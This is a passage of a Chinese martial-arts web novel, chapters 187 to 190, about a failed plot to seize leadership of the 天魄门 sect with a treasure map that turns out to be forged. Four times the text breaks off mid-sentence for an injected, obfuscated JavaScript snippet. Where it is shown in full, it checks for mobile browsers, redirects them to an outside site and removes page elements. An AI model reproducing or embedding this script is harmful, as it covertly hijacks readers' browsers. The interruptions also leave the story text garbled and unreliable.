魏菘泽故意对此视若无睹,也不急着召唤贺新塬,而是接着说道: “在座诸位旧友,本就与我同在天魄门中,只因不忿与文远骥为伍才在家师去后自立门户。其余几位也曾与我天魄门交好,算得上是积年的朋友。宝藏本就是师祖未雨绸缪,留下来让后人振兴本门所用。魏某不愿私藏,今日愿与诸位共享这份传世秘宝,共谋天魄门复兴大计。” 此话一出,潜伏的暗涌登时翻腾成喷涌的声浪,众人大喜过望,赞叹也好、满意也好,皆从眉梢嘴角中冒了出来。他们之中大多数人只是应邀来凑个热闹,谁能料到魏菘泽不仅真的拿到了藏宝图,还愿意把宝藏分享出来。 不仅天魄门旧部欣喜不已,丁经业和麻磊对视一眼,也都动了心思。只有个别几人面色冷峻,要么怀疑魏菘泽不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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图纸分为两半,一半乃许多山川不是山川、流水不是流水的奇怪符号,另一半则是许多文字,配有一副小小的地图。 看过一圈之后,一半的人懵懵懂懂,毕竟苏明启找到藏宝图后秘不示人,无人能够辨认真假。但占志高、葛宏丰却露出欣喜的表情,引来了其他人的瞩目。 占志高拍了一下掌:“门主当年破解藏宝图时曾给我看过几个奇怪的符号,和图上所绘一模一样!” 张久辉则说:“上面的字迹的确是贺永识的。” 有他二人作此旁证,这副图的真假便不容辩驳。众人立刻松了一口气,魏菘泽的内心也因此落下了一块大石,他趁热打铁:“若诸位信任魏某,愿与我共图大计,此图指示的宝藏便是你我共有!” 张久辉只犹豫了一瞬,立马起身离席,敛衣下拜:“愿奉魏兄为门主,张某誓死追随。其余人见状,纷纷应和,喜堂之上随即响起衣衫悉悉索索的声音和众人的呼号:“我等愿追随门主,启开宝藏,重建天魄,再造辉煌!” 187. 翻盘(一) 满座之中,只有范宝林、魏国勖、丁经业和曲庭洲三人一动不动,瞧着乌泱泱跪了一地的诸人,眼中掩饰不住的厌恶。 丁经业对着魏菘泽拱拱手:“贺喜魏兄。不过华山派一向独来独往,若鄙人作主加入天魄门,怕是要惹来派中非议。个中缘由,想必魏兄定能理解。” 魏菘泽不以为忤,做出淡然模样:“丁掌门不愿入我天魄门也无妨,魏某绝不勉强,那就权当是为我等做个见证吧。” “见证?”曲庭洲眉毛倒竖,扇子一收已然站了起来,“见证一帮贪婪无耻之徒见利忘义、认贼为主?还是见证你们坐地分赃,以这位姑娘的性命为通往宝藏的坦途?” 丁经业嘴角微微抿起,在心里暗赞他骂得痛快。魏菘泽的笑容僵在脸上,脑中飞快掂量:谷城曲家和江湖名门多有往来,曲庭洲又是家族极为看中的后生,杀了他定不可行。可若是放过他,容他在江湖中胡言乱语,将来自己的名声只怕也会受损。 权衡之中,他只好先将难题放置一边,转向没有表态的魏国勖:“宁川堡的上一任堡主死在文远骥剑下,魏堡主竟不欲趁此良机为家门报仇么?” 又逼着范宝林表态:“范兄与我同在天魄门下,当日也曾不满文远骥倒行逆施,甚至与其结下仇怨,何以今日一句话都不说?” 魏国勖冷冷瞥了他一眼,懒洋洋开口:“前堡主身死是因他有错在先。二人决斗之时,我在旁见证,曾亲耳听到他自承其罪。二人约定,文门主只向他一人寻仇,不得牵连宁川堡百余人口。文门主谨守诺言,也从不以门主的身份自居或以武力强迫宁川堡归附,魏某一向感念。此时若因一处不知所谓的宝藏就倒戈相向,岂不是有违道义?” 范宝林尚未开口,曲庭洲突然插嘴,指着喜堂后探出半截脑袋的小厮:“魏世伯,你家里人似乎有急事,未免因小失大,要不然您先过问过问?” 魏菘泽回头,瞧出他是魏若琛身边的人,且神色焦躁,似乎有什么急事。他登时紧张起来,担心儿子那边又有什么情况。当着众人的面,他尽量压住情绪,向小厮点了点头。 温叔这才从后面匆匆转进来。他已经等在外面有一段时间了,但是不敢打断魏崧泽精心准备的场面,故而一直等着。比起小厮,他的面容更显慌张,他每往前一步,魏菘泽的心便揪起来一点儿,最终这颗悬着的心在听到耳边传来消息后猛然摔到了最底下:王三山和他的徒弟不见了,骆神医同样不知所踪。 魏菘泽还来不及反应,范宝林带来的随从突然四散向外,杀死了扮作家丁模样的守卫若干。与此同时,一人飞身至紫璇身边,再一转身,已将她拉至文远骥身后。 紫璇一回头,这才看清刚刚出现的乃是二师叔江邵谦。江邵谦低声向文远骥道:“珺翊和齐总镖头在外面接应,我们只要离了这里便可。” 这番变故引发了一波低呼,也逼得魏菘泽再次清醒起来。他看着范宝林,用带着些许戏谑的口吻道:“原来范兄早被文远骥收入了麾下。” 范宝林面不改色,朗声道:“之前我受了你的蒙蔽,这才犯下大错,幸蒙门主不弃,我才有改过自新的机会。” 随后,他便徐徐起身,行至文远骥身前躬身下拜:“门主交代的差事属下均已办妥,请门主示下。” 文远骥将他扶起,说了今日的第一句话:“有劳范兄,你我同辈,无需行此大礼。” “二师兄,”魏菘泽将目光转向已经去除伪装露出真面目的江邵谦,“别来无恙。十八年过去,你还是甘愿跟在大师兄后面,做他俯首帖耳的跟班。” 江湖上但凡提起江邵谦,大多都会编排上这么一句,魏菘泽当着这么多人的面把这话说出来,就是要当中给他难堪。 然而江邵谦不羞也不恼,反而从容应道:“师兄忠孝仁厚,义字当先,是最合适的门主人选,我不跟着他,难道要跟着狼子野心、无事起浪的你吗?” “哼!少说场面话,还不是你学艺不精、功夫有限。离了文远骥,你还会有别的出路吗?” “江湖之中武艺固然重要,却也没有哪个门派单以身手高低论英雄的。我承认,我的功夫不如你,但我自信踏实勤恳,头脑清楚,论起治政理事,你不一定强过我。你想用这些陈词滥调来羞辱我,还不能够!” 曲庭洲拊掌大笑:“江前辈所言甚是。各人禀赋不同,何必比来比去,随意贬损他人。更何况,才具之外,德行更为关要,与其品评武艺,不如咱们先论一论彼此的品行如何?” 他一番调侃,既帮衬了江邵谦,又借机嘲弄了在场几乎所有人。魏菘泽恨得牙痒痒,却不能发作。刚刚还给他下拜俯首的那些人这会儿已经悄然回到了座位上甚至角落里,看此情形,文远骥当是有备而来,魏菘泽的美梦恐怕没那么容易实现。形势暂不明朗,自己还是留有余地为好。 魏菘泽岂能容忍局势就此翻转,适才言语交锋之时,他就已瞥见魏彦成来到喜堂之外。无论文远骥有何部署,只要把圣女牢牢握在手上,自己就能永远占据先机。更何况,对面武功最高的文远骥已经中了迷药派不上用场,余下几个就算闯了进来也不足为虑。 他计较一定,和静悄悄步入堂中的魏彦成交换颜色,二人同时出手,冲向文远骥所在的方向。魏彦成先是跃到江邵谦身后,手中刚扇自他背上扫过,江邵谦疾步后撤,同时伸出手肘挡格。魏菘泽猛扑到紫璇身侧,使出擒拿手,对付已然短剑出鞘的紫璇。可二人刚一对上,魏菘泽就感到腰间有一股大力袭来,稍作闪避后定睛一看,适才出掌的是文远骥!!! “你……你没中毒??”魏彦成被江邵谦出掌逼退,下一刻也瞪大了眼睛,抢在父亲前叫了出来。 文远骥走上两步,面带笑意看着他:“你自以为做得天衣无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150876|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缝,实则早在出发前我就已经知道了你的真实身份。之所以假装中计,就是为了让你带我来见璇儿。” 最早识破杜彦成的其实是紫璇。自吴宏道出真“少主”没死,她就一直在想,少主为何要假死,自己到底漏掉了什么关键。一番推敲之后,杜彦成的脸很快便浮现在脑海之中。 自宿州杀死假少主、救出紫瑛以后,杜彦成就一直跟着他们。她原本以为,在济源珍娘铺子里偷袭她的“黑白双煞”是一路跟踪过去的,可仔细一想就觉出不对。若有人尾随,她和江珺翊不可能毫无知觉,而且,他们为何来得如此之巧,偏偏在其余人都离开之后?胡二又是哪来的涂了毒药的假银两? 再到贺家庄,偷袭许淑平的高手从何而来?是谁一直能及时得到贺家庄内部的消息,随时部署,以至于紫璇一到庄子边角,便有人使出调虎离山之计? 一旦想到杜彦成或许就是这个幕后之人,那么一切都说得通了。 魏、方两家早就熟识,杜彦成借着瑾瑜生日宴和紫璇搭上关系,逐渐接触到天魄门的其他人。紫瑛被擒,他适时出现,再和自己的属下合力演一出苦肉计,骗取紫瑛的信任,然后顺利混入贺家庄,既能暗中观察,又可随时指挥,这才能给严密防守的贺家庄带来一波又一波冲击。 而今日之后,紫璇更加明白,魏家之所以三番五次地想要擒获自己,并不是为了要挟文远骥那么简单。而是因为自己在济源以血解毒,让对方得以确信自己才是圣女传人。 当然,这都是后话,紫璇在有了最初的疑心之后,便告诉了苏茂霖,并嘱咐他请骆雁声送信给齐建霄,请他帮忙调查杜彦成。文远骥之所以能早做提防,没有喝下掺着“噬魂散”的米汤,就是因为下山前他已收到齐建霄来信,告诉他,杜彦成本姓魏,只是为了生意上的方便一直随母姓。而他的亲生父亲常年不在金陵,据说是江湖人士。虽然不能确定他的父亲就是魏菘泽,但已足以让文远骥留一个心眼。 不过他并没有将这份怀疑告知他人,特别是紫瑛。他看得出来,紫瑛对杜彦成有情,一旦知晓他的温存体贴只是为了利用自己,绝不可能装作无事发生。可是这样一来,紫瑛的安危就得冒着极高的风险。作为父亲,当紫瑛被杜彦成单独送走,他却无法做出任何行动时,也只能咬住牙,告诉自己要以大局为重。 文远骥毫发无伤,还生龙活虎,最吃惊的当属那几个天魄门的旧部。他们虽然嘴上看不起如今的天魄门,却也清楚文远骥武功高强,轻易不能得罪。自己适才的所作所为全都被他看在眼里,日后定难相见。 有些人已然下了决心,若他与魏菘泽翻脸,自己也只能继续追随后者,只要众人联合起来将其击毙,那圣女和宝藏还是他们的,将来也不会有任何后患。 魏菘泽也料想到这一点,在最初的慌张过后很快平静下来,又恢复了志在必得的模样。 188. 翻盘(二) “文远骥,既然我们说的话你都听到了,那么关于你罔顾门规祖训、背弃师父遗志的罪名,你还有何话说,莫不是又和十八年前一样,坚称师父之死与你无关?” 文远骥似乎也并不着急逃走,他气定神闲地给自己找了把椅子坐下,然后才回应道:“三弟既然发问,那就容我为自己好好辩驳辩驳,也让在场诸位能明断是非。 “其一,贺永识和贺新峦的死都是他们咎由自取,和天魄门并不相关。贺永识觊觎庄主之位,十年前害死了兄长贺永诏,其子贺新峦又伺机刺杀新庄主贺永芳,这两件事贺家庄上下皆知,大家若感兴趣,可以随便打听,可知文某所言非虚。至于贺新塬,他早就投靠了魏菘泽,所说极不可信,还请诸位明鉴。 “其二,天魄门是有圣女不得习武的规矩。但璇儿并非圣女,不必受这规矩的约束,又何来我不遵祖训、破坏门规之说。” 最后这句同时引来魏菘泽和紫璇的侧目,魏菘泽急眼道:“胡说,她是方晗月的女儿,体质与她一般无二,如何不是圣女?!” “晗月是圣女不假,那是师父为了找寻宝藏做的准备,可没人规定圣女的女儿也必须是圣女。师父死后,藏宝图失落难考,所谓的宝藏再度成为传说,彼时再立圣女又有何用?故而自晗月身故,天魄门就不再有圣女一说。” “好一副如簧巧舌!”魏菘泽举起手中藏宝图:“如今藏宝图现世,按照你的说法,是不是圣女也该归位了?” “谁告诉你,你手上拿的便是藏宝图?”一道冷峻的女声响起,许淑平从贺家从人中步出。与此同时,座中贺新塬摇身一变,显出贺新韵的样貌。与她同桌的人看得分明,在许淑平现身之时,她便自面上揭下一道人皮面具,稍作收拾就变作了另一个人,还是一个女人。 ************************ 六天前的贺家庄。 贺新塬将到手的藏锦盒奉于卢金良,他取出藏宝图,瞟了一眼,对毫无行动似乎已经呆了的贺新韵道:“贺大小姐,人心复杂、江湖凶险,不适合你这样的闺中女子。以后还是在房里好好绣花吧。” 贺新韵呼出一口浊气,继而露出带着八分轻蔑、两分厌恶的笑,无视嘲笑她的卢金良,也无视书房内手持兵刃将自己团团围住的其余人,大刺刺地拉过书案后的太师椅坐于其上。 “卢叔叔说的有理,江湖险恶、人心难测,既然如此,我又怎会这么轻易地就把关乎性命的藏宝图交出去呢?” 四两拨千斤,贺新韵话音未落,卢金良已经变了脸色。他不得不再次拿起藏宝图仔细看了起来,上面记载的的确是宝藏的地点和找寻的路线呀。难道这是伪造的假图?! 他抬起头,半信半疑地望向笑而不语的贺新韵。 卢金良脸色如此好看,贺新韵打心底里觉得痛快:“卢金良,你就是把图看出个洞来又能怎么样呢?反正这世上也没几个人见过真正的藏宝图,你又凭什么来判断它的真假?” 这幅图果然是假的!卢金良气急败坏,手中的假藏宝图登时被他捏成一团。 贺新韵翘起二郎腿,目光定在他身上:“说到‘天真’,我看卢堡主才是真的天真呢。” “真的藏宝图在哪?”卢金良目露凶光,恶狠狠问道。 贺新韵取过书案上的笔,漫不经心地在纸上乱画起来,同时说道:“贺家庄从来都没有什么藏宝图。” “休想蒙我!许淑平明明承认,贺永诏生前留下了藏宝图,就在贺家庄!” “哦~”贺新韵夸张地叫了一声,又嫌弃笔上墨汁不够浓,将砚台拿到自己手边,开始磨起墨来,“原来河东谢氏也投靠了魏菘泽呀!” 卢金良太阳穴突突跳动,被她这副不紧不慢的样子气得脑仁生疼。 “谢立梁以吊唁姑母为名,特地跑到贺家庄来打听藏宝图的下落,打量着谁还能看不出他的那点儿心思?看来谢家家主也很‘天真’嘛!” “你们是故意的?” “如果不谎称我们已找到藏宝图,你们的真面目又怎么会这么快就暴露呢?”贺新韵停住手,抬头笑对牙齿都快要咬碎了的卢金良。 “不可能!她一定是在撒谎!”贺新塬听到此处,上前几步对卢金良道,“许淑平和她讨论藏宝图时我也在场,藏宝图就在贺家庄,绝对错不了!” “哈哈哈哈,我的好弟弟哟,难不成你到现在还以为娘和我被你骗了?”贺新韵婆娑着砚台上雕刻的花纹,冷笑道,“我和娘吵架决裂,都不过是在你面前演戏,好让你信以为真,紧赶着给你的上封送信,否则卢金良也不会这么快就找上门来呀?” “演戏?!”这下轮到贺新塬傻眼了,他呆立在原地,脑海中全是贺新韵当着他的面编排许淑平的场面,原来这些都是演给他看的? 他如此震惊,贺新韵心中大快,接着嘲讽道:“你以为,我不过是个不通世事的闺阁女子,心里当然只有男人?你以为,只要把孙博翻找出来安插在我身边,我就会色令智昏,忘记了我爹的遗愿?还是你以为,我与娘推心置腹、慈乌反哺的真情是假的?你们自以为手段高明,可看在我们眼里,只和跳梁小丑相似!" 贺新塬心绪稍稍平定,他又上前几步,直到和贺新韵隔案相对,不甘心道:“我哪一步做错了?让你怀疑到我?” “哪一步?”贺新韵仰起头,虽然坐着,气势却不输站在对面俯视自己的贺新塬,她半是心寒半是轻蔑道:“孙博离开西河多年,却能这么巧偏偏到了今时今日才想起来找我,又偏偏那么巧非要在你举家迁来之时出现,单凭这一点你的嫌疑就已然不小。娘每日与你讨论公事,你又以为我一心只想和孙博厮守,可当孙博进了曹家堡的消息传来,你第一时间不是担心他可能是外人派来的奸细,立刻告知我娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺新韵话说到一半,卢金良已然翻过书案,手臂离她只有数寸之遥。可贺新韵早有防备,以最快的速度抓起砚台直直抛出,砚台中被研磨得浓浓的墨汁上扬,尽数抛洒到他的面上。他眼前一黑,本能地想要保全自己,手上动作随之停止。 砚台本身颇有分量,卢金良虽闭着眼睛,却能感受到它下坠之时的动静,还以为贺新韵又掷出了什么厉害暗器,不由自主地倒退数步。 贺新塬瞧见他未能一举击毙贺新韵,立刻向后面挥手:“上!抓住她。” 然而,砚台落地,发出哐镗响声的同时,书房门即被踹开,十数个持刀之人同时涌入,将曹家堡的人围在核心。孙博离门最近,房门被冲破时下意识便想反抗,却被当先闯入之人一刀砍落,当场没了性命。 这些突然涌进来的人乃是许淑平带走的贺家护院,贺新塬见是他们,顿时觉得腿软。卢金良挺剑他倒吸了一口凉气,知道情形有变,立即用袖子擦了两把眼睛,正好看到许淑平缓缓迈入书房。 189. 假图 “你……”惊骇之下,卢金良一时间忘记了怎么说话。 “莫非你想问,我怎么没去无锡救人?” 许淑平不慌不忙,更令卢金良琢磨不透。 “不是只有他魏菘泽会玩弄人心。”许淑平继续向前走,很快到了卢金良和贺新韵面前,“魏菘泽要寻宝,除了圣女,藏宝图更是必须。只要藏宝图一日不在他的手上,那圣女的安危便有十足的保障。既然如此,我为何不先设计拔除他安插在贺家的奸细,再斩掉他的一条臂膀?” 卢金良勉强挤出一点笑容:“想杀了我?没那么容易!” “事到如今,你还这么自信?” “贺家护院都是新手,虽一向由你训练,但架不住习武的时间有限,本领一般,根本不足为恃。”越往下说卢金良的底气也越足,“这次来贺家,我带了一百多人,除了你眼前的这些,庄里庄外还有七八十人,只要我一声令下,他们就会立刻冲到这里增援。你武功再高,也不可能一次性对付得了这么多练家子。” 许淑平点点头,像是在赞赏他行事周全:“你还是有点本事的。” 卢金良气焰恢复大半:“反正我什么都没拿到,不如你我各退一步,你放我走,我也不必非得毁了贺家庄。” 贺新塬这才反应过来,目光急剧射向就在自己旁边的卢金良。 许淑平捕捉到了他的吃惊,转头对他道:“你才明白么?卢金良对你的承诺从来就只是一纸空文。魏菘泽并不需要贺家,对他来说,处理碍手碍脚之人的办法就是毁掉。没了贺家庄,你的庄主之梦要如何实现呢?” 贺新塬心乱如麻,完全失去了方向,望着卢金良的眼睛里已经能喷出火来了。卢金良却对他的逼视毫不在意,仍旧看着许淑平,等她同意自已刚刚的提议。 没想到,从许淑平口中吐出的却是一声呵斥:“卢金良!你首鼠两端、阴险毒辣,同你这样的人合作,我得恶心一辈子!” 卢金良脸上肌肉抽动,从牙缝里挤出几个字:“你不怕死吗?” “死?”许淑平轻蔑摆手,“你还没有这个本事。” 她摆手之时,卢金良自怀中取出一只竹梢放入口中。尖利的哨声一共响了三下,许淑平面无表情地看着他,根本没有上前打断的意思。 哨声过去许久却无人前来,卢金良心中大骇,忙不迭又吹了三下,书房门外仍然没有一点儿动静。他本能地想要后退,却被书案挡住了去路。 此时,门外响起脚步声,然后有两个人影闪进了书房。 一个是谭修明,他快走两步,向许淑平施礼道:“禀告前辈,贺家庄内外所有曹家堡的人均被诛杀,无人生还。” “不可能……不可能……”卢金良瞠目结舌,只能呢喃出这几个字。 贺新韵自他的身前掠过,扑到了另一位来者的怀里,叫道:“舅舅!你亲自来的吗?” 随谭修明同来的人欣慰又带着些许痛惜地揉揉贺新韵后脑勺,道:“关乎你性命的大事,我能不亲自带着人来么?” 贺新韵站直身子,眼含泪花地瞧着自己母亲的亲弟弟,现如今太原王氏的家主王振衡。 王振衡极为认真地打量着十年未见的外甥女,也仍不住落下眼泪:“都这么大了,和我记忆中的姐姐一模一样。这么多年你流落在外,父亲和我都极为挂念。父亲临终前还一直念叨着,说没能护住姐姐和你,他无颜去下面见姐姐呢。” 贺新韵嘴巴一扁,孩子一般哭了出来。 许淑平上前,心疼地望着她,又向王振衡解释:“这都怪我。早几年我担心害死贺庄主及和夫人的黑手还会对新韵不利,故而不准她和任何人联络,这才致使王老太爷含恨而终。是我考虑不周,过分小心,以至于忽略了人伦亲情。” 王振衡虽是个明理之人,也无法对此释怀。多年来,姐姐唯一的骨血不知生死,已是他心上的一块疥癣。一直到五年前,许淑平才修书太原王家,告诉他贺新韵还活着。可即便如此,他也还是无法见到她,更不知道她过得好不好,如今是何模样?哪怕是贺新韵回到了贺家,许淑平为将来计,也都不曾允许他南下。 面对许淑平的歉意,王振衡仍有些不满,贺新韵立马擦了一把眼泪,回头瞪了一眼魂魄尽失的卢金良和贺新塬:“还不是因为总有人对贺家虎视眈眈,若我早认了你,让他们有了防范不就糟了?好舅舅,别生气,等把他们都宰了,外甥女儿给你赔罪好不好?” 贺新韵自小便很得王振衡的宠爱,如今再次见到她对自己撒娇,除了感慨还是感慨。他也知若无许淑平,只怕贺新韵也活不到今日。再负气也无法弥补过去,更何况眼前的贺新韵在姐姐的文静娴雅之外又填了一重机敏爽利,这显然是许淑平的功劳。 王振衡像过去她还是小孩子时那样戳了一下她的脸蛋:“好,你想做什么都行。” 尘埃落定,贺新塬早就没了挣扎的余地,乖乖受俘,先被带了下去,将来按庄中规矩处置。卢金良意图刺杀贺新韵、许淑平在先,这次又试图离间贺家、颠覆贺家,必然是不能留了。暂时不杀他只不过是因为他还有些用处。 近些年来曹家堡颓势日显,眼看着要毁在自己手上,卢金良怎能甘心。他给魏菘泽卖命,也是为了在藏宝图上讨一杯羹,从而壮大自身,给曹家堡续命。 一旦阴谋败露,他第一个要保全的还是曹家堡。许淑平拿准了这一点,以曹家堡的安危为筹码,试图从他的口中套出魏菘泽的计划。虽然他所知有限,却也提及魏菘泽要为儿子举报婚宴,还以此为名邀请了诸多天魄门的旧相识。许淑平当即断定,魏菘泽的真实目的,很可能是以藏宝图诱使其弹劾文远骥,从而自己上位。 于是,许淑平要求他按照原本的安排着人将假藏宝图送往魏菘泽处;并告诉他,贺新韵被杀,贺新塬接手了贺家,愿意供其驱使。魏菘泽自以为计划天衣无缝,从未怀疑过卢金良送来的消息。 两日后,贺家庄便收到消息,魏菘泽让贺新塬立刻赶赴无锡,有要事相商。真的贺新塬肯定不能放出去,只能由贺新韵假扮。魏菘泽从未见过贺新韵,也不认识贺新塬,很难从样貌谈吐上发现破绽。并且,她还故意赶在婚宴的前一天晚上才到达无锡,魏菘泽很难在这么短的时间内觉出不妥。 贺新韵一到,魏菘泽便将她请去,告知她第二日的计划,要她在婚宴之上控诉文远骥跋扈无道,好让魏菘泽捏住弹劾他的把柄。 许淑平骤然现身,又当众质疑他手上的藏宝图,魏菘泽心里早就打起了鼓。可他不能甘心,越发猛烈地招摇着手上的图纸,大喊:“许淑平!当着这么多天魄门旧人的面,你休想混淆视听,这不是藏宝图是什么?!” “西过跑马梁,问顶武功山*。”许淑平淡淡一笑,说了这么一句话。 魏菘泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174599|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全身大震,尽力稳住手展开图纸,确认其上的文字。他没有记错,藏宝图右侧开头就是这十个字! “别看了,这幅图是我编的。” 这句话刚一落地,不光魏菘泽瞠目结舌,席间众人也纷纷倒抽了一口凉气,对宝藏的殷切期待刚被提起就陡然落空,巨大的落差没有人能接受。 “不可能!” 魏菘泽还想挣扎,许淑平的下一句话又给以重击:“魏菘泽,你一向狡黠,不会想不明白其中的道理。我能准确说出上面的内容,要么是因为我见过它,要么它干脆就是我伪造的。试想一下,若这幅图早就到了我手上,我岂会轻易交给旁人?” 魏菘泽瞧着手上的废纸,愤怒和怨恨似要从全身散发出来。席间更是响起一阵窃窃私语,瞟向魏菘泽的眼神也多了一丝不信任。魏彦成瞧见这一切,脑筋一转,马上开口道:“就算这副图是假的,可只要贺家庄和贺新韵还在,就不怕找不出真图的下落。” 其余人被这句话点醒,纷纷点头,赞叹他忒有智慧。 许淑平淡淡地看了他一眼,摇头道:“你的脑子很快,只可惜,贺家庄内并没有一丝一毫关于藏宝图的线索。” “不可能!”比起刚才,魏菘泽的这句“不可能”要笃定得多,他不信贺永诏面对宝藏会无动于衷,一直到死都能闭着嘴。 但世上就是有这样的人。 “不管你信不信,我说的都是事实。贺永诏是信义守诺的君子,苏明启死前嘱咐他绝不能透露宝藏的秘密,他便终其一生都未曾提起此事,生前也未留下只言片语。包括他死前送往太白山的信,上面也只说明了自己当年所受的嘱托,并没有一个字提及宝藏的位置。 “我之所以告诉谢立梁贺家庄中已经发现了藏宝图的线索,不过是为了引你们误入歧途。你们动作虽然快,奈何这件事一开始就是设好了引你上钩的圈套,你费再多心思也是没有用的。” 许淑平缓缓说完,葛宏丰立马跳出来:“你就那么相信贺永诏?或许他做得和说得不一样呢?” “你们恬不知耻、利欲熏心,我爹可不一样!”贺新韵高声道,“贺家庄上下没有我不知道的地方,我爹爹平日里收藏东西的习惯我也全然清楚,既然找遍全庄都没有发现任何有关宝藏的记载,那就是没有!我爹谨守诺言,对得起天地良心,岂容你们在他生后污蔑?!” 要论这里谁与贺永诏交情最深,那必然是曾和贺家结成儿女亲家的张久辉,贺永诏的为人他很清楚,可他刚刚还主动要认魏菘泽为主,这时若替贺永诏说话,怕是要惹人耻笑,故而沉默不语。 最后还是范宝林站了出来:“我与贺兄有些交情,若说他为了天魄门的宝藏不遗落留下藏宝图倒是有可能。但要说他存了私心将藏宝图据为己有我是不信的。” “多谢范叔叔仗义执言!”贺新韵立刻叫道,虽在回应范宝林,话却是对着葛宏丰等人说的。 范宝林摆摆手不做它言。 葛宏丰仍不死心:“那又有何妨!!贺家这条路子不通,就再想别的法子。老门主是从天魄门典籍里搜罗出藏宝图的,我们亦可如此。只要拿下许淑平和文远骥,打上天魄门去,不怕没有发现!” “你们所说这些典籍,包括苏明启身前的各种私藏、笔记都被我一把火烧了。” 许淑平这句话,不啻在期盼藏宝图的众人间扔下了一颗炸弹。 190. 众怒(一) 关于宝藏的传说在天魄门流传百年,苏明启又花了半生心力试图开启宝藏,在这些天魄门旧部的心目中,早已把宝藏和武林中的权势地位等同在了一起。魏菘泽拿出藏宝图,还愿意与之共享,即便所有人对此举的目的心知肚明,也还是抵受不住诱惑以身入局。 单是贫穷匮乏不不妨碍人安稳度日,可一旦即将到手的利益乍然失去,引发的嫉恨愤怒却足以使其失去理智。 这些人对宝藏的狂热被魏菘泽一步步煽动起来,到了最高处时,许淑平一而再再而三地试图打破,众人心中由贪欲和野心交织而成的熊熊烈火迅速转变为对许淑平本人的痛恨与讨伐。 “本门典籍,岂容你一个外人玷污!”占志高当先骂道。 “你凭什么动门主留下的东西!”葛宏丰也高声叫喊。 “女人果然是祸害!”张久辉更是气得跳了起来。 众怒牵引之下,关于许淑平不过是苏明启续弦,一直不得其欢心的旧事也被提起,并进一步延申到她和文远骥合谋害死苏明启、窃取门主之位的嫌疑。 一时间群情激愤,不止一个人叫嚣着要处死许淑平,用她的性命向天魄门、向苏明启谢罪。 贺新韵气得脸色通红,也回骂道:“放你娘的狗屁!她有用的时候,你们人人尊称她一句‘门主夫人’,怂恿他为了你们的私心出生入死。可一旦触犯了你们的禁忌,她就突然变成大逆不道的‘外人’,问都不问就要处死。这天底下还有没有道理可讲?! 有罪于天魄门的明明是你们!你们几次三番妄图颠覆,令天魄门元气大伤,如果不是她力挽狂澜在先,文门主稳重守成在后,这世上早就没有天魄门了。你们还能在这里以天魄门旧属自居,坐在这儿随意给别人安上罪名,喊打喊杀吗?!” 贺新韵声音清脆高亢,在一众嘈杂低沉的男声之中更显得响亮有力。她话音未落,曲庭洲率先叫好,但除此之外,场上一片死寂。 仍是葛宏丰最先开口:“许淑平毁坏典籍,破坏天魄门复兴大业。有违祖训、悖逆门主,按规矩当立即处死!” 占志高、谢立梁等人振臂高呼,相继附和。丁经业和麻磊是外人,面对如此鼎沸的声讨只能龟缩在角落里,范宝林、魏国勖则蹙眉对视,亦不知该如何是好。 “念在你是武林前辈,又是师父的结发妻子,便留你一个全尸,你自己了断吧!” “葛宏丰!我才是门主,你有什么权力决定师娘的生死!” 文远骥高声呵斥,继而放缓语调,当着众人解释道,“师娘与我商议过,我也赞成将那些典籍记录予以销毁,免得引起后患。她并无私心、也非私意,还有门主的准允,所谓‘有违祖训、悖逆门主’的罪名根本不成立。” “文远骥,话可是你自己说的!你纵容许淑平毁坏典籍,断了本门复兴的大业,那就与他同罪!怎可坐在门主之位上!” “就连你的性命,我们也可以替老门主取来,祭奠天魄门历代祖师!” 旧部们你一言我一语,左不过还是这些陈词滥调。文远骥对这些早就听够了,他冷笑一声,站了出来:“一个个好大的口气!我倒要看看你们谁敢杀我!” 葛宏丰、张久辉等人对视一眼,杀心骤起。两人当先,已围住了文远骥。占志高和薛粲跃众而出,对付起了许淑平。谢立梁、谢立栋兄弟分向江邵谦、紫璇二人进招。 江邵谦带来的几个人发觉堂上起了冲突,急往里赶,却被魏彦成指挥人围了起来。范宝林纵身去帮江邵谦,魏国勖却不急着上前,而是退到了华山派、龙虎山众人身侧,细心留意着场上局势。贺新韵亦遭到冲击,曲庭洲焦急地看了一眼周围,确认无人前来才急忙抢上,助她对敌。 喊杀声四起,惊醒了魏菘泽,猩红的双眼因之更显凶狠,他向温叔吩咐了两句,再一回身,冲着紫璇的位置奔去。 紫璇正与谢立栋缠斗,眼看着就要取得上风,一道凌厉的掌风从后面袭来。她腹背受敌,只好先避其锋芒,脚下一滑,左手迅捷地攀上谢立栋朝自己打来的拳头,再一用劲,从他的肩头翻了过去。 